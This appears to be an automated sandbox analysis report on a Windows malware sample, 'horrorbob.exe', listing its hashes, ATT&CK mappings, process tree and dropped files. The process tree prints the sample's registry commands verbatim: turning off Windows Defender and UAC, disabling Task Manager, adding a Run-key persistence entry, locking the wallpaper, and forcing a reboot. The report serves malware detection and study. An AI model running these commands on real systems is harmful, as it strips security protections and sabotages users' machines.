7122d3dbe8b1e3f2a0b8cacd38d013f756bb454b4af4eb360f6ffa4160e7b459

Reason

Machine shutdown

General

Target
horrorbob.exe
Size 2.4MB
Sample260529-ebxt7acv3x
SHA256 7122d3dbe8b1e3f2a0b8cacd38d013f756bb454b4af4eb360f6ffa4160e7b459
MD5 52989f91df34eb4fc6fa3f7c66323c64
SHA1 3f77fe2750aa288601af9fe8ce323530372ea97a
SHA512 8426b73f2b46fb3ae91efe93667e0841e2cb556f25bed2b555b45d2f03a0a844e7fa1a54e41223d89df26913d34b18831920c38ee8799767e8aeabb3dceed4fa
SSDEEP 49152:+S4TGw0jjZC7h9TTujZWq9F3xbCetyVZ4wJ7mzZhJN/:+S4TL0PA7vGfFELr7mVh7
TLSH
T101C533E56B4E9903FB185336F0EC896D9785A0193AF107ACB3BDC0A1D627B25D44EC87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion persistence ransomware trojan upx

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Kernel 64 = "C:\\System64\\SysKern64.exe"	reg.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Control Panel\Desktop\Wallpaper = "c:\\System64\\bg.bmp"	reg.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4380-0-0x0000000000400000-0x0000000001D7C000-memory.dmp	upx
behavioral2/files/0x001200000002b6da-15.dat	upx
behavioral2/memory/4380-93-0x0000000000400000-0x0000000001D7C000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	horrorbob.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "64"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
3424	reg.exe
3708	reg.exe
5748	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5084	shutdown.exe
Token: SeRemoteShutdownPrivilege	5084	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2416	LogonUI.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 3584	4380	horrorbob.exe	80
PID 3584 wrote to memory of 4192	3584	cmd.exe	82
PID 3584 wrote to memory of 3708	3584	cmd.exe	83
PID 3584 wrote to memory of 3788	3584	cmd.exe	84
PID 3584 wrote to memory of 3416	3584	cmd.exe	85
PID 3584 wrote to memory of 5748	3584	cmd.exe	86
PID 3584 wrote to memory of 3248	3584	cmd.exe	87
PID 3584 wrote to memory of 3424	3584	cmd.exe	88
PID 3584 wrote to memory of 3920	3584	cmd.exe	89
PID 3584 wrote to memory of 4140	3584	cmd.exe	90
PID 4140 wrote to memory of 2216	4140	net.exe	91
PID 3584 wrote to memory of 4488	3584	cmd.exe	92
PID 3584 wrote to memory of 5084	3584	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\horrorbob.exe
"C:\Users\Admin\AppData\Local\Temp\horrorbob.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F32.tmp\horrorbob.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\SysWOW64\cscript.exe
    cscript prompt.vbs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4192
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\System64\bg.bmp /f
    3⤵
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    PID:3788
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - System Location Discovery: System Language Discovery
    PID:3248
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3424
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Kernel 64" /t REG_SZ /F /D "C:\System64\SysKern64.exe"
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3920
- - C:\Windows\SysWOW64\net.exe
    net user Admin /fullname:"SPONGEBOB IS WATCHING YOU!"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Admin /fullname:"SPONGEBOB IS WATCHING YOU!"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2216
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5F32.tmp\sp.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4488
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 00
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5084

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a39055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

2

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

SysKern64.exe

Path C:\Users\Admin\AppData\Local\Temp\5F32.tmp\SysKern64.exe
Size 1.7MB
SHA256 d7ec176b21ffe803b880611f75d7275bba6c4b042dc6e864245ebd4c85699735
MD5 382c03015ef6a00c840998c6196b686e
SHA1 9f008126293c66c43a421b572e877ad62caeda45
SHA512 e01435eafb51a4c1ebe853e1494d14cccf18f617e675ea442c02b281de986cb3dcd1425c9c9fddeaaf6838f81787577cad047df03f4cb9fb67db33d560b2eeb4
SSDEEP 49152:6MrvadC2B4v1BW1eEHT3zKrU1qXoKDdp8tis7WJi:6Mrfj1I1HSryGDdp8tis7Wg
TLSH
T1D385333CD2544973E12E25F6D8EB183412742620FBB06A153BE13171AFD3346FE995AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bg.bmp

Path C:\Users\Admin\AppData\Local\Temp\5F32.tmp\bg.bmp
Size 23.7MB
SHA256 7c5d22cface1ca9cd8caf2cc115d1bdcd4f208dc821a6b7e2dc86267aa7c2051
MD5 988f26fec37c816f6d77f4249de2cdac
SHA1 bd5284bee5d8ace89f2383622c924e1399f31fc1
SHA512 ec5f84609ff96fea3a97c78f1f32cd45c8bdc16f347044be5157f674526b3fc09215d03e6c7c7b9f15135284d6524830a138bdab2bcb15d522cedfc2956915a8
SSDEEP 49152:PaABBBBBBQBBBBBBBOrP5Fc2o8up1lxUWjVzB8aRJBBBBBBBSBbFBBBBBBBTVNB7:Fx
TLSH
T1DC476E1742E21709E22E13F534E817046BA9EEC4BE074F734B48BA9EEDDA645D74A01F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

horrorbob.bat

Path C:\Users\Admin\AppData\Local\Temp\5F32.tmp\horrorbob.bat
Size 7KB
SHA256 397e6fe317d2be9d944b8df19ea005240fedfffe09bb8fbb62042fa2a5810b20
MD5 fb64a183fc63eada7f48e781677907d7
SHA1 cce8bf6ef41f689ae3fe8a5ff88aa1e550adc47d
SHA512 a8c043404c62dddf21f1521c0917970e9e46d78f0c6bba6a74a7f907cf6cf27e6ed0bac831e9bb9a44d393be6c5c8a255aa0d6ac997a49a0549feb1a14bcba5a
SSDEEP 48:SDSNzKiw5AU2b+8OZzhZLJXRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRO:SONz2t8YzvLs
TLSH
T13BF162F3FB56902EB191272CC2FFA143B33E069374814FA676912C961265D42BAC5AD3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prompt.vbs

Path C:\Users\Admin\AppData\Local\Temp\5F32.tmp\prompt.vbs
Size 203B
SHA256 8dce4ee27dac1fc5d3d11c160d8aa566a0f92c372dba5b0db47a8f9c3a8abb2e
MD5 108887a0632fa8fcdc1ca1cc04fddb8b
SHA1 f4bc0266a7ed53b54027bc552ab64328623ab9cd
SHA512 f11347bfdd7e37f379411d7bb58e07ccb7e080ba572e1e3776a3d64d620f02aa1a875db5bffc7eb7861c47ed545498bd13d1ce5e1a3e53dfb699d28a50166777
TLSH
T195D02349EAC7D610093053B3740D7C4EC6901773C314975DB01C4650FFE411C4E00006
MD5 SHA1 SHA512 TLSH

Submit Download

sp.vbs

Path C:\Users\Admin\AppData\Local\Temp\5F32.tmp\sp.vbs
Size 40B
SHA256 9df6c43228d9fc70ef9698abd10435f2ae864a1364c6f860e822dc52487b0e46
MD5 5bd73be3d9435a2ff6510c84bc643c0e
SHA1 de4ee1b6fbe2a364a1c5c2e8a69c196a370a3b4a
SHA512 7c581bc3757fdd816282bd26419cb456c88792900294507701d809b8b0478b4fd5462398359a65a6f366aabdb623a1bc7caceda30111995fb4b1928841b279ac
MD5 SHA1 SHA512

Submit Download

SPONGEBOB_IS_WATCHING_YOU_22619.txt

Path C:\Users\Admin\Desktop\SPONGEBOB_IS_WATCHING_YOU_22619.txt
Size 31B
SHA256 19af8f37f3b6510b8da2677b22aa43123a3898d830f643237a52346c5b3d763d
MD5 d036a9ad0dff58548e91a68c58ff7964
SHA1 8c6265a188fba55db49b6d744a74bbd78f562efd
SHA512 6e93fbd051a9461a8c8eaeb30f9fdef74ca6a18bf9e60d3bd5fe702f2e9e0946059c6dc23975264f99363538e41ac0f9a1bc0dec54df5253c4919012d4065fc5
MD5 SHA1 SHA512

Submit Download

memory/4380-0-0x0000000000400000-0x0000000001D7C000-memory.dmp

Download

memory/4380-93-0x0000000000400000-0x0000000001D7C000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads